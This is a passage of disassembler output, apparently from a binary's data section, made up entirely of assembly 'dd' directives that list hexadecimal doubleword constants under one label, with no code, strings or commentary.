0F9551F8Ah, 41FB9E9Eh, 54E6B79Dh dd 6EF88085h, 0DA7A2DE4h, 429F005Eh, 6096CF51h, 9C244007h dd 82001BEDh, 48988CF5h, 0BEAECB4h, 51FE4E96h, 60999C41h dd 0A8FA2A44h, 0C220CD12h, 5C09E85Fh, 2C00F522h, 0C24FE3Eh dd 1CD1905Ah, 2300C6C2h, 4E4AA6F3h, 42C03429h, 0E4CC27E6h dd 0FE137896h, 0FCE3A5E2h, 0B28A8D12h, 1D145204h, 0B903CE1Eh dd 957D2FEh, 955C93B0h, 0A9096CF8h, 82B42247h, 11F6158h dd 0F0BD8092h, 650B88D0h, 4057246Ch, 1C6397D4h, 0CE4D711Eh dd 83292E2h, 500B7B4Ch, 7E1890E6h, 34DD59E3h, 366D9854h dd 98C9C30Fh, 0EA05Eh, 30A79388h, 48001E25h, 7FCD0D8Ah dd 12AB4103h, 0C8B98103h, 127805Fh, 56D3A515h, 646608FDh dd 9CA8963Ch, 90B568F4h, 80C51BD0h, 181D77CCh, 951EFE5Bh dd 0C94E842Ah, 0B286B00Fh, 504D3C04h, 23C22CE9h, 0CC989B83h dd 71F0B1B2h, 26AB8609h, 906450F0h, 0BCA208Ch, 3B9C4E03h dd 8A7DA757h, 201052D4h, 0F4A0EBB1h, 3D09CB64h, 80B32EE6h dd 0AF2A513Ch, 8BCF1FD6h, 0B48008Ch, 7EFE7CADh, 68DC5350h dd 78D6B403h, 0E25EAB7Fh, 88D6D0h, 52215D0Bh, 0AA784488h dd 7E044302h, 74E428FEh, 2E70A64Ch, 8107459Ch, 9921959Ch dd 0A69975E1h, 7C0DDC60h, 95F007ECh, 0C036E8C5h, 0AC74E702h dd 0F00E4B2h, 3EC8F2C4h, 7C6F855Dh, 0F880E724h, 0D482470Dh dd 594FE676h, 0D6CE5482h, 0C33E4734h, 100E7B83h, 43AC239Fh dd 583CB9D6h, 31016708h, 0E7084314h, 0D4857E76h, 0D7FE24D0h dd 0C9B80DCh, 268908B6h, 44C459E9h, 77E4C8B3h, 0A74CA48Ah dd 1E74ACFCh, 1403CD14h, 0F512CC4Eh, 16DC95EAh, 0DFCC7248h dd 0C883530Eh, 6AD39173h, 0EC1068A5h, 952DE726h, 9B8430C6h dd 0E4632661h, 83AE0310h, 2AFA3715h, 41688FAh, 10071BEDh dd 106246D9h, 5C10E01Fh, 2D09236h, 7C9B019Eh, 7060622Bh dd 0AD315D72h, 145C71B7h, 0A014003Fh, 7A49CCE3h, 0A7221707h dd 9DA0D050h, 0F8967BFDh, 24230983h, 3CE28C5Ch, 8068881Ah dd 70C70214h, 0A2BF21E3h, 68BD1681h, 5DF52364h, 0CA00306Dh dd 12338A14h, 734F08FEh, 0A44084D1h, 282ED9F4h, 16C845DFh dd 0DC284472h, 8C8922E4h, 2385A02Ch, 3C5CBC42h, 9077807Ch dd 274E1AC4h, 6A8980Ch, 0EA86B023h, 1D0E8094h, 3F62BFABh dd 960A28C0h, 67B7808h, 0BD5CECB7h, 121FE0CAh, 2500A187h dd 5E718622h, 382418AEh, 27DD6846h, 50FC6049h, 8874B908h dd 0D82C7CB9h, 0F5800D07h, 8F92E6C1h, 0B2E9064h, 414872CFh dd 4F5A2002h, 66527502h, 91B02B8h, 0E9DB7EB1h, 6603F070h dd 70AA0D9Bh, 0F4D6E87Ah, 38782509h, 8DE5860h, 0FEC4D100h dd 3B53E54Fh, 4DBC0E9Ch, 0C09C9F03h, 2BC11CE7h, 0CE02D69Eh dd 0CB1F16C5h, 5E08783Bh, 0D64463ACh, 0E6C30094h, 936C7E8h dd 0B244FE59h, 7C806CF1h, 247141BEh, 305D6470h, 9002FA44h dd 0F69DE6ABh, 140C01ACh, 6CA37E5Ch, 4CF00740h, 0C330DD3Bh dd 0A099E77h, 8972836Dh, 43F10ACh, 12A0ECFCh, 95DDC488h dd 76E6F0A1h, 14F034F2h, 88802A5Ah, 0E6314F08h, 0EA1E3C90h dd 114E6018h, 8A32FE76h, 789748C8h, 0C89B507Ch, 90BB5B19h dd 81296CACh, 0C8C48600h, 20A3D056h, 58165C0Ch, 0A7612207h dd 0A114759Ch, 4C606A58h, 6BA9247Bh, 0D8DBA811h, 0C8C8CF13h dd 0FC085D1Bh, 1CCDA41Eh, 1E103098h, 0D95E24F9h, 0D6C6B4C2h dd 23A931A8h, 4AF03863h, 0A09EDCC3h, 0C0EE321Ch, 6B2D7C11h dd 2EF80D46h, 8624EF0Ah, 0CD8FC4A8h, 6E99A978h, 0B2E21F04h dd 0FE0C7FE5h, 0EB1884C0h, 0FA763D28h, 29BC7F48h, 0C240C0A1h dd 485121F4h, 0F8955091h, 0BC91B62Fh, 777C225Bh, 0C2654B0h dd 77E28022h, 84188469h, 0F32882h, 78C79C93h, 0C9688E9Fh dd 0D0B498E7h, 864B641h, 0A1002DFFh, 253B29C1h, 815C13C8h dd 0C790E40Eh, 737C6916h, 207B24D9h, 5B0B9C1Ch, 41224425h dd 0CA6F78h, 1676407Bh, 9F5A5CECh, 59E84C0h, 51EAF6h, 0DDB59465h dd 62DE257h, 66DC5207h, 36225623h, 0B0908077h, 0CFD57Bh dd 0C657C8Fh, 29960D5Fh, 93479E00h, 0CCCBC4F1h, 985E07A1h dd 0F95BC116h, 0DF1ECCA2h, 0F3F2A961h, 4309FBC0h, 10606EE3h dd 0A2215C4Dh, 0DD8C1092h, 4C819DBEh, 6E421CE6h, 20858427h dd 0BB6440BAh, 92E11EAEh, 28A0B868h, 0EEFC9B00h, 0AC08A8h dd 0D60D9683h, 44C40377h, 25A0E714h, 29FA1308h, 7C6CB499h dd 938E5C0Ch, 2C502B81h, 90B0A7CCh, 64F31C26h, 0D8A37882h dd 51C0765Bh, 75C43895h, 8A4E82Ch, 38B1DE80h, 3B96448Bh dd 0F00520Ch, 8CD43C0h, 1974B8Ah, 0BE71472Ch, 286AABF9h dd 6D00D4D8h, 0EC9261D6h, 0B6AFE64Bh, 687D07A8h, 0B1EEEEA7h dd 81A4C796h, 0F2A4C0D7h, 272480C0h, 0F48CA09Fh, 580F363Ch dd 3A00B079h, 9C2D7BBDh, 242D7722h, 0ADA480ECh, 0A05CD94Fh dd 9A273EEh, 8AD2E6B5h, 0CC05547Ah, 56812F6Fh, 167C88A8h dd 8B1F9Ch, 21DFFB3Ch, 0C0389669h, 8CE88B58h, 1C8C8064h dd 0BD47C23h, 56EB7603h, 1E14E800h, 260C3825h, 78B39A19h dd 0BD6D0BFFh, 3CDC7B33h, 0E6AD9401h, 7F003E1Fh, 0E49A8279h dd 17B99220h, 0E006E6AEh, 73C3EF0h, 0A37405FCh, 0D0521032h dd 0F5B23C00h, 7887652Eh, 81A0B4FAh, 0E35BB316h, 0D0202E02h dd 9F1D05FCh, 5A89B412h, 100D7422h, 0B5FE8300h, 8C10BDD5h dd 0CF3F2696h, 0C43B8068h, 653985E8h, 5918C15Ah, 0C873446Eh dd 103208C8h, 76EE59C1h, 0DDB06068h, 0B14A7984h, 158AA001h dd 0ADD89F70h, 0D30500A5h, 0C1960357h, 3230E677h, 2797A095h dd 18D1E3Dh, 7BFC0F93h, 171D9D80h, 784D697Fh, 666B1C14h dd 0FF2E1900h, 0D4FACB1h, 799B2467h, 38C82280h, 0B7C068h dd 0A8D07E3h, 0AEBC4699h, 5C1CB0B4h, 8C18C252h, 489D8590h dd 522A1CF5h, 410BFB4h, 8CB4230Ah, 813AC4CAh, 5C40340Bh dd 0DC74482Ch, 3CB69FFEh, 1401BD5Bh, 22CF34D6h, 955FD460h dd 6C781842h, 0DE286297h, 0C26B9D2Ch, 281E5BBCh, 0C1719C68h dd 1641B800h, 0DA5ABB0h, 1C9D048Ah, 16FC9409h, 0C6EE9801h dd 20C15021h, 353AACF5h, 9D08888Ch, 0B6DB500h, 6F51EDB2h dd 5A2C00C2h, 0A8DE6232h, 54900D9Eh, 0BE41FD20h, 0DFBABEC0h dd 5CCCC04Bh, 0D0825334h, 439040C0h, 0F0984DE7h, 1092DDD8h dd 12398720h, 414B3B5Ch, 3440750h, 0B0012E7Eh, 28F5FE50h dd 0A4F48840h dword_4D8154 dd 76261F72h, 0A0A2D75Ch, 46FC0678h, 0A9489A65h, 0DDCD2480h dd 0C85C5B62h, 0FF0DFC94h, 789D9F08h, 10D065C1h, 4FA70995h dd 0E0C002FEh, 0FA3B5698h, 66842D9Eh, 4F5003Ch, 94721538h dd 44007AF6h, 2A36763Fh, 59433146h, 0B0F9C98h, 275D085Dh dd 72681840h, 0E44E8EE8h, 9793E4F0h, 86B5B4A0h, 0ECB1D0F7h dd 1BFE7C87h, 9110BCh, 891FF504h, 0AE201CC4h, 51F985Ch dd 36A95BB6h, 15509898h, 0B4CB9C7Fh, 0B718B878h, 4517A40Fh dd 0C0C0EFB8h, 0A10A3E94h, 1C7F9009h, 230A272h, 0EE040092h dd 2F00CF1Fh, 940C03FFh, 5BB808DFh, 445C4075h, 6D764655h dd 0C49ED425h, 0E4E35AE4h, 0B8243E10h, 19123CFDh, 0C0A26052h dd 2E4C618Ah, 0E01325B8h, 0D1C22800h, 3BCC6863h, 0C3D83050h dd 882BE411h, 0C4103DF5h, 0A009BBFBh, 6680F4F9h, 0E441A14Ch dd 615F1E3Dh, 0D5030079h, 76892992h, 1E5DFE7Ch, 0C75C89Ch dd 5148C69Ah, 0EF1C4C0Eh, 0BC439252h, 3C106E5Ch, 880253A9h dd 0ACAF3881h, 3CEA5041h, 0E5CE023Ch, 578EB4E6h, 0B0483C2Bh dd 92422FCh, 0B284C8DFh, 88FC722Fh, 0A55C9E82h, 6127E856h dd 0EC28B130h, 49ED1855h, 0C54A8872h, 0E728AD88h, 0B09DB795h dd 635E0C4Bh, 5017C268h, 0B4F06F23h, 0D1E405B6h, 80784277h dd 406D93E8h, 16443405h, 80024A1h, 81069EA6h, 6ECE0BC4h dd 0C481AD9Ch, 300D9A0Ah, 60C06764h, 1F4189E3h, 7F5C1BA2h dd 0E89E8BCh, 760BE096h, 0C02110D2h, 0A0871878h, 856CCD4Fh dd 7994D26Bh, 1C2920D0h, 0A2278C32h, 0AE84C78h, 0D0670067h dd 8CBFCF1h, 245DDC1Fh, 2C86C25h, 35F8F367h, 7C40CAE4h dd 0DA2D231Bh, 10A0655Dh, 98D916C7h, 0A394CC44h, 0E020805Ah dd 52B00905h, 909768CAh, 40A37702h, 6A74547Ch, 0E6C44004h dd 4E07A246h, 0B9BB1615h, 7490E285h, 13EFC296h, 0F08FE836h dd 40024CCCh, 1B73E99h, 3E4EE5Ah, 83DB1432h, 48B03E5Ch dd 8C002624h, 0FB228296h, 0F486EB9Dh, 3080FB30h, 61AEFC56h dd 925DE3DDh, 73E418FCh, 77E4A78h, 2358AF9Ch, 0BA160030h dd 1F04F403h, 59E36C1h, 4446A8C0h, 0A507054Bh, 80C25633h dd 0BE929B07h, 0B4B4A64Ah, 1609A8Bh, 2D7A49B2h, 7329FA88h dd 0B0231244h, 0A39BEC00h, 0CEB3526h, 3654E62Ch, 133A4788h dd 0CFDF3BB2h, 0B95CE470h, 0F7F89A86h, 0E6D7102Ch, 7735128Ch dd 0B1F5C4A8h, 0CC932E80h, 98F8EDE6h, 58A4A392h, 3D2101Ch dd 6CFD4300h, 0BB7B9DF8h, 48C0C54Eh, 5FF10A0h, 0E6D76A4Ch dd 0AB08A0C7h, 4A4AAC96h, 0DC425712h, 7E47567Fh, 0E5DDC128h dd 0D4C4518Bh, 214600C9h, 6C5948FEh, 0F209C4h, 0E8E7C4B0h dd 7F5B13FAh, 11444122h, 40F63799h, 42DB60CCh, 1E8B1A01h dd 55B924F2h, 12E7EC34h, 0E00F2315h, 0E618AC48h, 0D670A94Fh dd 1C470529h, 0FC6924ECh, 0FB0A0088h, 9E6B605Fh, 30B9A008h dd 31C13D54h, 7B246804h, 0FB8AD4Dh, 2069E57Ah, 792D2A96h dd 4483001Ah, 50A36FD4h, 0AA00293Ah, 64019EABh, 1E4BAED0h dd 0E5E62AC1h, 84BE5C68h, 668C91B7h, 548D24D0h, 486E80E4h dd 26DF784Ch, 13878C18h, 29957810h, 0F9D02254h, 700C7CB3h dd 0D0A223C4h, 7C26A051h, 74488210h, 79339900h, 5BB49E46h dd 3834E330h, 720CED1Ch, 8960028h, 0C37D4BE9h, 0C230E688h dd 4C74487Ah, 6924605Fh, 0DDCE03DEh, 7047352Ch, 560B14A6h dd 0B8108011h, 0C05F72E6h, 9A0D2A38h, 92605566h, 83C5F680h dd 0A0009869h, 0B077E96Fh, 0D5360FFCh, 128168D0h, 7C3D710Ah dd 0B2640630h, 918330Dh, 0A4C19F9Eh, 0CBF038F8h, 2D9C4697h dd 0E44BADB2h, 0A50119E2h, 0C8D01406h, 90C74BAAh, 0D0E0C548h dd 5E0A9E18h, 7FD47CD1h, 1D86053Dh, 0C07D3E4Bh, 0F71CE1BCh dd 0BD492418h, 0F4850C28h, 9F141318h, 359600FEh, 9E54CC6Ch dd 9908D650h, 0ECE42A9Dh, 0D8947509h, 88524A4Ch, 2A4F2364h dd 14E31404h, 0FD44790Eh, 4D5C82F8h, 0C497A480h, 0AD023D53h dd 0C2CE38CBh, 3FAFE00Bh, 89207AAh, 80FC8DD4h, 0C8789BEBh dd 9600F175h, 0DF75BB6Dh, 373979Dh, 47D4F9EDh, 0A3FBE50Eh dd 33AF392Eh, 529EEA00h, 0C471EE9h, 6D2ECDB2h, 45375360h dd 0AA3358A3h, 781DC308h, 77750718h, 851B1C9Dh, 597C1E3h dd 0BFA5FF8Ch, 0F6EACA80h, 0B854800Eh, 0B151E20Fh, 0A6C80FD1h dd 0D1A2FFBh, 82253D8Ch, 0F610BF30h, 2206C852h, 2A886003h dd 35B9EA5Dh, 28E78A80h, 0FA17C782h, 38916826h, 0EF84400Bh dd 8FE15703h, 0D8905FA3h, 8013454Bh, 51FA2B69h, 9137627Ah dd 6A66154Bh, 25152869h, 8C5B4420h, 0F89830F5h, 691DEA73h dd 9D4C0874h, 0F7C2348Ah, 0F0AD108Eh, 0D2F7001Ch, 0E3C1CB87h dd 520767F8h, 0EB314AB6h, 75055A61h, 31EA26C8h, 2D75A612h dd 7AA0E025h, 3D3410C4h, 1C117804h, 9E1D993Ah, 0BA43D43Eh dd 0DAB0F99Dh, 8CB16EBDh, 0D1ED84A4h, 550C9C8Ah, 5995351Eh dd 0C05814CFh, 0F9028192h, 18485360h, 0F0BDA4B9h, 0D450D1C3h dd 94C6EAC2h, 0DD45D01h, 0A6F8391h, 8D414890h, 0E9021130h dd 55C7F05Eh, 9F06FC64h, 910DEC93h, 0EA54031Ah, 3405DE79h dd 0BF57E68Ah, 5FF65340h, 63B8EA53h, 0CBFF129Fh, 0E1496BFh dd 515E5500h, 242A87B9h, 0FF80C428h, 643510DBh, 1D8A57C6h dd 0FF0C8647h, 5D308860h, 73A76912h, 0E3310337h, 1746C382h dd 131D8A70h, 69CD0994h, 21165D30h, 12A28C77h, 8B3A4698h dd 88506781h, 53E18A51h, 481BB806h, 20784F89h, 773C6624h dd 1C95ED90h, 412CBE1Fh, 0E92A6A40h, 9426248Ch, 35C17B41h dd 8102E801h, 5CC2F641h, 0E6D02B75h, 2D12C008h, 467CF930h dd 0F0CC6EEh, 0C1A885Ah, 2B8602FEh, 5EEB8A62h, 48E78780h dd 23C0BAFh, 8A17BFBh, 3E904060h, 1E0C257Ah, 729DA8EAh dd 1A4C635Ah, 96011DBFh, 0EA58D9F8h, 20921E43h, 0D9D1859h dd 9BA06D82h, 5C123D67h, 2308516Ah, 1169069Fh, 0D5C4F923h dd 0B9000F40h, 0F0C0C98Fh, 434915F4h, 484F4810h, 10C4A237h dd 4190EC84h, 0B0CDD484h, 0E3401B3Fh, 9808E8C2h, 0C96654D7h dd 67524013h, 8E575439h, 0E97F93BFh, 0DF0C8747h, 56F782C1h dd 0EF0A08C7h, 0C7073F5Eh, 8AF06DBDh, 30EA5FF4h, 894822E9h dd 0F5A15AEBh, 0C471331Eh, 0C24052C5h, 41655325h, 1ACC8A24h dd 0C0E16D22h, 0EC008343h, 243C8904h, 4C18BFh, 0C3811ED9h dd 4A3D4868h, 1B70CC7h, 0D9E97653h, 29C5FFDFh, 0C0C1E8DBh dd 391D1879h, 40510E5Dh, 521E8007h, 93B082BAh, 18D1217Dh dd 728ABDE9h, 8B1ED831h, 9F9F241Ch, 88BF4C33h, 506319h dd 8105EFC1h, 3B69F2F7h, 0CEF21C76h, 21387318h, 3E9B2F0Ch dd 6C00A8B1h, 301F0424h, 29373CEAh, 44C5107Ch, 595F0C20h dd 335AB053h, 5882867Eh, 80F8CCB1h, 148B547Ah, 0CEC48324h dd 4173C23Ch, 57E95005h, 550C807Ah, 10159ABDh, 0EB01075Ch dd 18F665Dh, 801FA5E9h, 32BE562Fh, 7598D30h, 0EE81E6D1h dd 19E7015Bh, 1BC6DC4Eh, 512C0909h, 0EA08A746h, 0CE299BD0h dd 11F031E9h, 41348748h, 5E5858Dh, 5AD12207h, 0E7C83143h dd 6E28A3D6h, 0E26FB689h, 145A4646h, 5BD8011Eh, 4D115518h dd 0ADF50781h, 7C2893C2h, 8440A8D2h, 8953145Ah, 7940EEE3h dd 0E90CC383h, 513B2641h, 25B98DFh, 3068EB9Bh, 0C816EF4h dd 0F30AB924h, 0FE032E69h, 0BB27E800h, 6778E91Bh, 73DA3505h dd 0CC00F4E5h, 0CA0AF181h dd 0E801B613h, 0BD0C538Bh, 196FEB04h, 0D3728329h, 11089841h dd 0B0DDE9D1h, 3AA51C8Bh, 0CBD8FD7Ch, 0AA511F5Bh, 31F30311h dd 47DF8D57h, 0E829C1DDh, 437215Dh, 6315C034h, 33249B53h dd 4403344Fh, 0A90D2F2Eh, 0DFE147D7h, 0DED09441h, 5BE07325h dd 823C6387h, 0FF6E4EA4h, 81E76210h, 55A090C7h, 286E33E9h dd 1570680Ch, 4EE9FF54h, 80106461h, 0C3CCA8EBh, 832873C7h dd 1FFF68A8h, 59A0ADA6h, 8818ACB2h, 272E5AD3h, 0CF0BB8C0h dd 50EEF90Ch, 92DEDC5Fh, 0E96260F0h, 5D8025F6h, 74FF3E53h dd 489816E3h, 3386A750h, 0FA5E6C40h, 0C5160AAh, 4AC78059h dd 9B49D5FEh, 87EE7A13h, 5C0E3A67h, 8CEA91D7h, 0A0F75E0Eh dd 0FAC58145h, 609C262Eh, 0BA8C4C25h, 0BCF6011Ch, 8A6AE9DDh dd 2C77FF1Eh, 31456F18h, 7480C4F5h, 55F097Bh, 0F2408DCCh dd 637557F6h, 6C08F668h, 31E332F3h, 33242C1Bh, 0E90D0906h dd 3223D7DBh, 0BC81E2F5h, 97B9EC38h, 68664EC1h, 2EE43E44h dd 8928C0D8h, 0E7C159CFh, 156064Ch, 3E996A72h, 61C6CA81h dd 0F2D85E53h, 0FDE3F825h, 0EA7EAF0h, 0C12C361Fh, 0A2A06CCh dd 0C04D6E3Fh, 0B9D30409h, 962BE923h, 0C64D4254h, 11CB8428h dd 73C6D811h, 883994F1h, 0BBD728CAh, 0FABD5850h, 0DCB92D40h dd 561A3D53h, 15A8D54Dh, 0D24BEBBh, 5401934Eh, 907C7C8Ch dd 49A6FC25h, 1A184B0Ch, 6B74941h, 0A8D631CCh, 3814281Dh dd 0EEAEEC81h, 5A641FD7h, 21025383h, 2278AF4Bh, 48721805h dd 6C53F941h, 0CB10A1BBh, 0E92613F4h, 818AB2BCh, 894483ECh dd 0A880C684h, 794E2E56h, 0CDC18147h, 6E3CC05h, 0E6DBF724h dd 25376E00h, 490AE91Fh, 0CE040B1Ch, 0C53A7599h, 548836Eh dd 0C0131FBh, 0CE16F839h, 1AE8F029h, 5B32C113h, 2404EF83h dd 81C95CE1h, 0B1948254h, 43700C0Fh, 87F9AEF0h, 5DEF2910h dd 36A8682h, 8FF9D031h, 0C685817Eh, 26D1FB5Ch, 6120F0F5h dd 6F3262F7h, 30C0E528h, 0B4A81224h, 83A0D3F8h, 3B7DB450h dd 855C1F2Ah, 498DE557h, 28607C32h, 47B2CD69h, 69567B21h dd 4D0C9D15h, 6E980151h, 5CF28750h, 5848339Ah, 3B5610EEh dd 9C305029h, 30E87C24h, 1058160Ah, 134075Bh, 0E91A20CEh dd 5B9A7DBAh, 0F69BC70Eh, 57CFA7D7h, 4B0802D2h, 0A4526F66h dd 0BA9AD66Ch, 8B23453Ah, 83D14A5Ah, 2C4B755Ch, 0CA37C4D5h dd 65C8202Dh, 49669C8Bh, 0A1A2E526h, 108F3433h, 99061466h dd 21834D55h, 74FEF190h, 7634684Ah, 0C83EF69h, 5E0A150h dd 882D3A42h, 8B489C05h, 0E90C8391h, 0F9213C39h, 145EE98h dd 5EE91181h, 20A6F5E0h, 33665973h, 0D40631BEh, 42178D0Dh dd 101B2445h, 4B05B438h, 0C0368872h, 4373F607h, 105A376h dd 0DB0E9F2h, 8ED9140h, 98616051h, 58B509AEh, 105404Dh dd 844994FCh, 8154C011h, 7F1B24E7h, 0D81143ECh, 9033EEF8h dd 5FF90C0Fh, 4F950C87h, 0C0590B40h, 408AEE7Eh, 0CCF4DBFh dd 381D666Bh, 95190496h, 0D18987D0h, 815610CEh, 0C50E299h dd 0C8224ADh, 0F6D4A76h, 807F81E1h, 6153C623h, 50C179BDh dd 402FA7EEh, 79B85C6Bh, 2C28277Dh, 0F21FA436h, 0F7C4E81Dh dd 0C1C049D1h, 79076EDCh, 201AB85Bh, 4AD2F354h, 44DE090Fh dd 0A5C84566h, 20D26291h, 466354B4h, 6C056904h, 6690E579h dd 91558A68h, 69BD8F07h, 0C11625E0h, 61B003EDh, 4FD9FB0h dd 0AC1BDFC4h, 0E6AE0F56h, 0C16F2223h, 0C9810780h, 714C06FEh dd 89627D39h, 61E18834h, 310566D3h, 0F85153C7h, 0CCE650C1h dd 3E10CC9h, 52FD0BCDh, 89DF4460h, 0A81A42ECh, 89560E68h dd 0A690E67Eh, 322C2FC9h, 68EF0197h, 0E7B462B4h, 45C3D53Bh dd 42693999h, 51C5682Bh, 0E90C2051h, 9452CB3Ch, 99B30A26h dd 3EB48B26h, 5503887h, 5A55C7E3h, 1C184E50h, 0F63E97B0h dd 78A850D8h, 0F5EC5B41h, 34C01EFEh, 80B5CEC4h, 0CB39341Ch dd 5C015009h, 6DCD031Fh, 5FDCC2C1h, 0AD60411Eh, 0D25D0291h dd 0E0A2E926h, 1511A089h, 0A33155h, 5B2837D7h, 72E7E48h dd 560F657Ah, 6813F160h, 18726750h, 5A1B13AAh, 0A1ED55A9h dd 2388A248h, 6154662Bh, 57015893h, 0CF6F36BFh, 79305B61h dd 7A130234h, 0E462E921h, 1C175C8h, 0F7A0A5FCh, 3AC58F9Fh dd 0DFC324BEh, 9EFDD346h, 58E23D51h, 20949073h, 313B4C5Ah dd 4FD4CD5h, 43CC447Eh, 6DFD08C1h, 4D21F7CCh, 5D26F4E8h dd 0ECDB0BC1h, 5BDE0521h, 0FBE8E451h, 358D9CFh, 0F82444FEh dd 0F0B65259h, 0E2EE1280h, 0F8A604F6h, 0A30F0608h, 209C7AEAh dd 281C8C88h, 0EBCB58C3h, 0B01F8251h, 0C4FE032Fh, 0D080CC91h dd 0E31228BDh, 3AC28858h, 0E4C16A17h, 9B4C2038h, 1FEFBB0Ah dd 0F30DCE33h, 0AC760DEBh, 34475F12h, 0CDEB0E0Fh, 595DEA40h dd 3A1D2E2Dh, 61406D49h, 2915D272h, 70550D0h, 8B59857h dd 1110125Ch, 0C073A002h, 669602Ch, 359F1053h, 9AA4821h dd 89393A2Ah, 1F481FEh, 898B8BF8h, 0C44A5FAAh, 4204F3C0h dd 0D37D4790h, 5CF90F26h, 35401413h, 436F2271h, 20C87C01h dd 33407368h, 0A8D3745Ch, 94CFF8ABh, 50E60039h, 7234B3B8h dd 9E0D6502h, 403FC52Bh, 14B1C26h, 0EB810B7Eh, 305F27E8h dd 0E01CB94h, 0E90AEC51h, 49A8E3F1h, 8BB10459h, 0B757D1F6h dd 17785943h, 0D65FF4E9h, 772A01BBh, 0CB29909Bh, 2451C490h dd 99036A5Eh, 1D147A49h, 411A240Ch, 5FFD2966h, 9888CE01h dd 0AE93200Bh, 15BC808Ah, 42CE2472h, 3A40949h, 22637A66h dd 0F9595B6Bh, 0AF5111D5h, 988041D1h, 1F88CB57h, 22C4CD01h dd 28011C75h, 315A66D3h, 0AA07AC39h, 9445FB0Bh, 0AA48F623h dd 93DE59B0h, 5C6F0787h, 9892998Fh, 87E9E9A4h, 9030E09h dd 76321C4Fh, 0C05D396Bh, 9F58109h, 975ABB98h, 34E94222h dd 0F0B9BFE8h, 27A162Ch, 43C6508h, 0A3D70158h, 5B8B40E9h dd 1A652A5Dh, 4CA0FAD5h, 6995949Ch, 8050BC04h, 580E2802h dd 57406060h, 9ECEEB6Eh, 0C8891337h, 0D040CF9Ah, 207DB8F7h dd 67A2EB0Fh, 62C0BA0Ah, 0B7910C2h, 94C8988h, 0D3847EB1h dd 89C10955h, 7CA10041h, 5C29748h, 159CA29h, 5AE349D3h dd 28ED321Ch, 14E98EAAh, 0A9D9690Ch, 595A44B7h, 5816D7AFh dd 8A80F41h, 14F6AE46h, 8AEF8000h, 865BFA20h, 9E79FECAh dd 0DC9B2518h, 545DADD9h, 0D4ABC2B8h, 5AB3AAC3h, 0CEBCE3BFh dd 0E0F83245h, 7EA27576h, 6D5E2D60h, 0E7725324h, 6502EA01h dd 35740FF9h, 2C4A66DBh, 0FE40A849h, 18220CBFh, 76F66134h dd 64C16F1Ch, 8008E78Bh, 488DE1B3h, 0FE011FD8h, 0D90165E9h dd 0C113ED80h, 6E0DE8E5h, 0FD198593h, 7D69895Bh, 92E3D829h dd 5A6D4D99h, 24C9ACEFh, 5B09ED35h, 0A281C4CDh, 0A64C6CCBh dd 0DA3E2287h, 2087EB07h, 0D74E425Bh, 0A01A764Bh, 0FC00B70h dd 36A02585h, 40104F20h, 810054ACh, 0AD0903CEh, 6CE7E91Eh dd 0B892B9DEh, 0A162679Ch, 550C7A26h, 8E00E711h, 0B94D8168h dd 0D509333h, 0FCC37484h, 0FDB1761Ah, 4928B2BEh, 525F4450h dd 0AC12E558h, 402D2967h, 7E16F657h, 0FABD1B18h, 0B2CD290Bh dd 12E932E7h, 6EC4D363h, 397F3569h, 179D2A1Eh, 0FD13895Eh dd 0DF2057C5h, 5409194h, 0E57416h, 7E532D38h, 0F001072Fh dd 0CA0747F9h, 0FD8B1511h, 93175415h, 6100A58h, 60A54356h dd 5C36A1CEh, 80849A70h, 0E30B07EFh, 0E2DA4F61h, 0C080D02h dd 79581702h, 920DB482h dd 639A5676h, 0A10FD678h, 678E76h, 0E95559CEh, 302AB207h dd 0EA78CA01h, 41E45B0Eh, 0A4C2833Dh, 0D11F924Ah, 49015026h dd 310B211Dh, 356C44EAh, 826471DCh, 0E107CA31h, 5CF1A0B4h dd 0F6BF1E20h, 7B182C0Ch, 5294103Dh, 0C8327970h, 405782D4h dd 1D69E642h, 4781606Dh, 772D3D5Eh, 82B9C1h, 5905309Eh dd 0A22CE261h, 514A7C80h, 0E1C020B1h, 188D0658h, 20EC9FEh dd 633F9080h, 0EE04F628h, 0D12CF0A9h, 0E5D8C15Ah, 46CD41C6h dd 0DAB5A054h, 90830640h, 4DBBB8B4h, 939E815Ch, 64C883Ch dd 8BC6CC68h, 2A7642h, 18114E2Dh, 252E755Ch, 0E13A1AD9h dd 2052EEh, 465C13C0h, 0EC8E1837h, 449ADD9Bh, 8C674F0Fh dd 0EE7E850Ch, 6DC0955Eh, 0F71E2D4Ah, 4898FADFh, 0BBC3A814h dd 200058C2h, 5C44E381h, 0ECC10610h, 714B4E07h, 96E88389h dd 95865672h, 8FF29B9Ch, 0EF3D4C01h, 58AAB820h, 9DB03995h dd 0E2CB8A26h, 0C7372A47h, 0E9FC3053h, 5F03F777h, 327CEEB1h dd 6B731E33h, 0C7141E17h, 0BD4F2CC0h, 42638A8h, 311B1833h dd 120D5006h, 0FC205913h, 15C81B50h, 0B6465216h, 7097AB4Dh dd 184564D7h, 6EE9250Dh, 0DD3D1682h, 475EE202h, 7DC8554Dh dd 347C9A03h, 4470C90Ah, 0C1009E49h, 2773D76Fh, 0C18F9021h dd 0D64C482Ah, 3B5E7023h, 7502193Ch, 0B20AB84Bh, 8B939131h dd 85753ECBh, 0B0321425h, 0E19E2018h, 0CA674D98h, 396C10Ah dd 2C24F31Ch, 0BB0F2666h, 0CAC7426Eh, 7E31C624h, 0B70B9972h dd 0BC225E21h, 5426A449h, 0ACC51E28h, 0E042EBDFh, 292FDF64h dd 0FEC123D5h, 0C16B21EFh, 19093312h, 13BDA231h, 0DCF6904Dh dd 42F3600Ah, 0C2015EF0h, 0E1943CB8h, 4830212Ch, 4BD37F7h dd 0FA295199h, 8942C25Fh, 0E931A260h, 0A0420127h, 5733E58Bh dd 2B0CC109h, 8271D12Fh, 5E6F9EBEh, 6046612Ch, 0D5805B03h dd 0FE295A66h, 0B2076BC5h, 0A0EF2043h, 0F6EEB353h, 0CEE09FDBh dd 70D65FE3h, 99B95449h, 0C3F3CE9Eh, 0E2890149h, 85B4D33h dd 67AC834Ah, 0E87A195Fh, 16A493F2h, 689EB38h, 433DC0EAh dd 0AE5D8990h, 8D6850DBh, 0BE3340h, 43A44169h, 8708EEC1h dd 1C7D64Bh, 0E0908147h, 0EC77340Ch, 331E01F6h, 0F721C3C6h dd 3EEFFC5Eh, 480C0412h, 956260C9h, 0CC3A7016h, 845D2729h dd 0DA838446h, 831C3516h, 0EEE25F64h, 0E30DF6D9h, 0AEECF540h dd 47660DD8h, 0CC7EF189h, 7E7A0E3Ah, 0DBD1E936h, 4730128h dd 0F20167DEh, 87EA245Eh, 2A5C81h, 74970C90h, 1298F301h dd 3E5DCE40h, 319CE8C1h, 18D09DC8h, 666808C2h, 0D324655Ch dd 